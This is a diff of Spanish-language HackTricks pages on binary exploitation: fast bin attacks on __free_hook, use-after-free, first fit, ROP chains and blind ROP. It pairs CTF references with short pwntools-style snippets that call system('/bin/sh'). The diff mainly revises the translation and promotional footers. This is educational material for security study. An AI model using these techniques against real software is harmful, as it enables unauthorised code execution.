$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
|
@ -75,25 +76,26 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
|||
* Si logramos obtener un fragmento rápido de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará.
|
||||
* Para esto, se crea un nuevo fragmento de tamaño `0xfc` y se llama a la función fusionada con ese puntero dos veces, de esta manera obtenemos un puntero a un fragmento liberado de tamaño `0xfc*2 = 0x1f8` en el fast bin.
|
||||
* Luego, se llama a la función edit en este fragmento para modificar la dirección **`fd`** de este fast bin para que apunte a la función **`__free_hook`** anterior.
|
||||
* Luego, se crea un fragmento con tamaño `0x1f8` para recuperar del fast bin el fragmento inútil anterior, por lo que se crea otro fragmento de tamaño `0x1f8` para obtener un fragmento del fast bin en el **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**.
|
||||
* Luego, se crea un fragmento con tamaño `0x1f8` para recuperar del fast bin el fragmento inútil anterior, por lo que se crea otro fragmento de tamaño `0x1f8` para obtener un fragmento de fast bin en el **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**.
|
||||
* Y finalmente se libera un fragmento que contiene la cadena `/bin/sh\x00` llamando a la función delete, desencadenando la función **`__free_hook`** que apunta a system con `/bin/sh\x00` como parámetro.
|
||||
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
|
||||
* Otro ejemplo de abuso de un desbordamiento de 1B para consolidar fragmentos en el unsorted bin y obtener una fuga de información de libc y luego realizar un ataque de fast bin para sobrescribir el gancho de asignación con una dirección de one gadget
|
||||
* Otro ejemplo de abuso de un desbordamiento de 1B para consolidar fragmentos en el unsorted bin y obtener una fuga de información de libc y luego realizar un ataque de fast bin para sobrescribir el gancho de asignación con una dirección de un solo gadget
|
||||
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
* Solo podemos asignar fragmentos de tamaño mayor que `0x100`.
|
||||
* Sobrescribir `global_max_fast` usando un ataque Unsorted Bin (funciona 1/16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits).
|
||||
* Ataque de Fast Bin para modificar una matriz global de fragmentos. Esto proporciona un primitivo de lectura/escritura arbitrario, lo que permite modificar la GOT y hacer que alguna función apunte a `system`.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Uso Después de Liberar
|
||||
# Uso después de liberar
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
Como su nombre indica, esta vulnerabilidad ocurre cuando un programa **reserva un espacio** en el heap para un objeto, **escribe** alguna información allí, **lo libera** aparentemente porque ya no es necesario y luego **accede a él nuevamente**.
|
||||
|
||||
El problema aquí es que no es ilegal (no habrá errores) cuando se **accede a una memoria liberada**. Por lo tanto, si el programa (o el atacante) logra **asignar la memoria liberada y almacenar datos arbitrarios**, al acceder a la memoria liberada desde el puntero inicial, esos datos habrán sido sobrescritos causando una **vulnerabilidad que dependerá de la sensibilidad de los datos** que se almacenaron originalmente (si era un puntero de una función que iba a ser llamada, un atacante podría controlarlo).
|
||||
El problema aquí es que no es ilegal (no habrá errores) cuando se **accede a una memoria liberada**. Entonces, si el programa (o el atacante) logra **asignar la memoria liberada y almacenar datos arbitrarios**, al acceder a la memoria liberada desde el puntero inicial, esos datos habrán sido sobrescritos causando una **vulnerabilidad que dependerá de la sensibilidad de los datos** que se almacenaron originalmente (si era un puntero de una función que iba a ser llamada, un atacante podría controlarlo).
|
||||
|
||||
### Ataque First Fit
|
||||
|
||||
|
@ -29,16 +30,17 @@ Consulta más información en:
|
|||
[first-fit.md](first-fit.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# First Fit
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **First Fit**
|
||||
|
||||
|
@ -20,7 +21,7 @@ Cuando liberas memoria en un programa que utiliza glibc, se utilizan diferentes
|
|||
|
||||
### Bins Desordenados
|
||||
|
||||
Cuando liberas un fragmento de memoria que no es un fragmento rápido, este va al bin desordenado. Este bin actúa como una lista donde se añaden los nuevos fragmentos liberados al principio (la "cabeza"). Cuando solicitas un nuevo fragmento de memoria, el asignador mira el bin desordenado desde atrás (la "cola") para encontrar un fragmento lo suficientemente grande. Si un fragmento del bin desordenado es más grande de lo que necesitas, se divide, devolviendo la parte delantera y manteniendo la parte restante en el bin.
|
||||
Cuando liberas un fragmento de memoria que no es un fragmento rápido, este va al bin desordenado. Este bin actúa como una lista donde se añaden los nuevos fragmentos liberados al principio (la "cabeza"). Cuando solicitas un nuevo fragmento de memoria, el asignador mira el bin desordenado desde el final (la "cola") para encontrar un fragmento lo suficientemente grande. Si un fragmento del bin desordenado es más grande de lo que necesitas, se divide, devolviendo la parte delantera y manteniendo la parte restante en el bin.
|
||||
|
||||
Ejemplo:
|
||||
|
||||
|
@ -61,11 +62,11 @@ d = malloc(20); // a
|
|||
|
||||
* [**https://heap-exploitation.dhavalkapil.com/attacks/first\_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first\_fit)
|
||||
* [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
* ARM64. Use after free: Generar un objeto de usuario, liberarlo, generar un objeto que obtiene el fragmento liberado y permite escribir en él, **sobrescribiendo la posición de user->password** del anterior. Reutilizar el usuario para **burlar la verificación de contraseña**
|
||||
* ARM64. Use after free: Generar un objeto de usuario, liberarlo, generar un objeto que obtenga el fragmento liberado y permita escribir en él, **sobrescribiendo la posición de la contraseña de usuario** de la anterior. Reutilizar el usuario para **burlar la verificación de la contraseña**
|
||||
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example)
|
||||
* El programa permite crear notas. Una nota tendrá la información de la nota en un malloc(8) (con un puntero a una función que podría ser llamada) y un puntero a otro malloc(\<size>) con el contenido de la nota.
|
||||
* El ataque consistiría en crear 2 notas (nota0 y nota1) con contenidos de malloc más grandes que el tamaño de la información de la nota y luego liberarlas para que entren en el fast bin (o tcache).
|
||||
* Luego, crear otra nota (nota2) con un tamaño de contenido de 8. El contenido estará en nota1 ya que el fragmento se reutilizará, donde podríamos modificar el puntero de la función para que apunte a la función win y luego Use-After-Free en la nota1 para llamar al nuevo puntero de función.
|
||||
* Luego, crear otra nota (nota2) con tamaño de contenido 8. El contenido estará en nota1 ya que el fragmento se reutilizará, donde podríamos modificar el puntero de la función para que apunte a la función de victoria y luego Use-After-Free en la nota1 para llamar al nuevo puntero de función.
|
||||
* [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html)
|
||||
* Es posible asignar algo de memoria, escribir el valor deseado, liberarlo, realojarlo y como los datos anteriores siguen allí, se tratará según la nueva estructura esperada en el fragmento, lo que hace posible establecer el valor o obtener la bandera.
|
||||
* [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html)
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# ROP - Programación Orientada a Retorno
|
||||
# ROP - Programación Orientada a Retornos
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Información Básica**
|
||||
|
||||
**La Programación Orientada a Retorno (ROP)** es una técnica avanzada de explotación utilizada para evadir medidas de seguridad como **No Ejecutar (NX)** o **Prevención de Ejecución de Datos (DEP)**. En lugar de inyectar y ejecutar shellcode, un atacante aprovecha fragmentos de código ya presentes en el binario o en bibliotecas cargadas, conocidos como **"gadgets"**. Cada gadget generalmente termina con una instrucción `ret` y realiza una pequeña operación, como mover datos entre registros o realizar operaciones aritméticas. Al encadenar estos gadgets, un atacante puede construir una carga útil para realizar operaciones arbitrarias, evitando efectivamente las protecciones NX/DEP.
|
||||
**La Programación Orientada a Retornos (ROP)** es una técnica avanzada de explotación utilizada para evadir medidas de seguridad como **No Ejecutar (NX)** o **Prevención de Ejecución de Datos (DEP)**. En lugar de inyectar y ejecutar shellcode, un atacante aprovecha fragmentos de código ya presentes en el binario o en bibliotecas cargadas, conocidos como **"gadgets"**. Cada gadget generalmente termina con una instrucción `ret` y realiza una pequeña operación, como mover datos entre registros o realizar operaciones aritméticas. Al encadenar estos gadgets, un atacante puede construir una carga útil para realizar operaciones arbitrarias, evitando efectivamente las protecciones NX/DEP.
|
||||
|
||||
### Cómo Funciona ROP
|
||||
|
||||
|
@ -28,7 +29,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
Normalmente, los gadgets se pueden encontrar utilizando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) o directamente desde **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
|
||||
|
||||
## Cadena ROP en Ejemplo x86
|
||||
## Ejemplo de Cadena ROP en x86
|
||||
|
||||
### **Convenciones de Llamada x86 (32 bits)**
|
||||
|
||||
|
@ -41,8 +42,8 @@ Primero, asumamos que hemos identificado los gadgets necesarios dentro del binar
|
|||
|
||||
* `pop eax; ret`: Este gadget saca el valor superior de la pila al registro `EAX` y luego retorna, permitiéndonos controlar `EAX`.
|
||||
* `pop ebx; ret`: Similar al anterior, pero para el registro `EBX`, permitiendo control sobre `EBX`.
|
||||
* `mov [ebx], eax; ret`: Mueve el valor en `EAX` a la ubicación de memoria apuntada por `EBX` y luego retorna. Esto se llama comúnmente un **gadget de escribir-dónde-qué**.
|
||||
* Adicionalmente, tenemos la dirección de la función `system()` disponible.
|
||||
* `mov [ebx], eax; ret`: Mueve el valor en `EAX` a la ubicación de memoria apuntada por `EBX` y luego retorna. Esto se llama comúnmente un **gadget de escribir-dónde**.
|
||||
* Adicionalmente, tenemos disponible la dirección de la función `system()`.
|
||||
|
||||
### **Cadena ROP**
|
||||
|
||||
|
@ -93,11 +94,11 @@ p.interactive()
|
|||
* La convención de llamada de **Windows x64** utiliza `RCX`, `RDX`, `R8` y `R9` para los primeros cuatro argumentos enteros o de puntero, con argumentos adicionales pasados en la pila. El valor de retorno se coloca en `RAX`.
|
||||
* **Registros**: Los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` y `R8` a `R15`.
|
||||
|
||||
#### **Encontrar Gadgets**
|
||||
#### **Encontrando Gadgets**
|
||||
|
||||
Para nuestro propósito, nos enfocaremos en gadgets que nos permitirán establecer el registro **RDI** (para pasar la cadena **"/bin/sh"** como argumento a **system()**) y luego llamar a la función **system()**. Supondremos que hemos identificado los siguientes gadgets:
|
||||
|
||||
* **pop rdi; ret**: Extrae el valor superior de la pila en **RDI** y luego retorna. Esencial para establecer nuestro argumento para **system()**.
|
||||
* **pop rdi; ret**: Saca el valor superior de la pila en **RDI** y luego retorna. Esencial para establecer nuestro argumento para **system()**.
|
||||
* **ret**: Un retorno simple, útil para la alineación de la pila en algunos escenarios.
|
||||
|
||||
Y conocemos la dirección de la función **system()**.
|
||||
|
@ -141,9 +142,9 @@ p.interactive()
|
|||
```
|
||||
En este ejemplo:
|
||||
|
||||
* Utilizamos el **gadget `pop rdi; ret`** para establecer **`RDI`** en la dirección de **`"/bin/sh"`**.
|
||||
* Utilizamos el gadget **`pop rdi; ret`** para establecer **`RDI`** en la dirección de **`"/bin/sh"`**.
|
||||
* Saltamos directamente a **`system()`** después de establecer **`RDI`**, con la dirección de **system()** en la cadena.
|
||||
* Se utiliza el **`ret_gadget`** para alineación si el entorno objetivo lo requiere, lo cual es más común en **x64** para garantizar una alineación adecuada del stack antes de llamar a funciones.
|
||||
* Se utiliza el gadget **`ret_gadget`** para alineación si el entorno objetivo lo requiere, lo cual es más común en **x64** para garantizar una alineación adecuada del stack antes de llamar a funciones.
|
||||
|
||||
### Alineación del Stack
|
||||
|
||||
|
@ -175,7 +176,7 @@ Consulta la siguiente página para obtener esta información:
|
|||
|
||||
## Técnicas basadas en ROP
|
||||
|
||||
Ten en cuenta que ROP es solo una técnica para ejecutar código arbitrario. Basándose en ROP, se desarrollaron muchas técnicas Ret2XXX:
|
||||
Ten en cuenta que ROP es solo una técnica para ejecutar código arbitrario. Basándose en ROP se desarrollaron muchas técnicas Ret2XXX:
|
||||
|
||||
* **Ret2lib**: Usa ROP para llamar funciones arbitrarias de una biblioteca cargada con parámetros arbitrarios (generalmente algo como `system('/bin/sh')`.
|
||||
|
||||
|
@ -202,3 +203,18 @@ Ten en cuenta que ROP es solo una técnica para ejecutar código arbitrario. Bas
|
|||
* 64 bits, Pie y nx habilitado, sin canario, sobrescribe RIP con una dirección `vsyscall` con el único propósito de regresar a la siguiente dirección en el stack que será una sobrescritura parcial de la dirección para obtener la parte de la función que filtra la bandera
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
* arm64, sin ASLR, gadget ROP para hacer el stack ejecutable y saltar al shellcode en el stack
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# BROP - Programación Orientada a Retorno a Ciegas
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -40,7 +41,7 @@ Este gadget básicamente permite confirmar que algo interesante fue ejecutado po
|
|||
|
||||
Esta técnica utiliza el gadget [**ret2csu**](ret2csu.md). Y esto se debe a que si se accede a este gadget en medio de algunas instrucciones, se obtienen gadgets para controlar **`rsi`** y **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Estos serían los gadgets:
|
||||
|
||||
|
@ -49,13 +50,13 @@ Estos serían los gadgets:
|
|||
|
||||
Observa cómo con esos gadgets es posible **controlar 2 argumentos** de una función a llamar.
|
||||
|
||||
También, observa que el gadget ret2csu tiene una **firma muy única** porque va a sacar 6 registros de la pila. Por lo tanto, enviando una cadena como:
|
||||
Además, observa que el gadget ret2csu tiene una **firma muy única** porque va a sacar 6 registros de la pila. Por lo tanto, enviando una cadena como:
|
||||
|
||||
`'A' * desplazamiento + canary + rbp + DIRECCIÓN + 0xdead * 6 + STOP`
|
||||
|
||||
Si se ejecuta el **STOP**, esto básicamente significa que se utilizó una **dirección que está sacando 6 registros** de la pila. O que la dirección utilizada también fue una dirección de STOP.
|
||||
|
||||
Para **eliminar esta última opción** se ejecuta una nueva cadena como la siguiente y no debe ejecutar el gadget STOP para confirmar que el anterior sacó 6 registros:
|
||||
Para **eliminar esta última opción**, se ejecuta una nueva cadena como la siguiente y no debe ejecutar el gadget STOP para confirmar que el anterior sacó 6 registros:
|
||||
|
||||
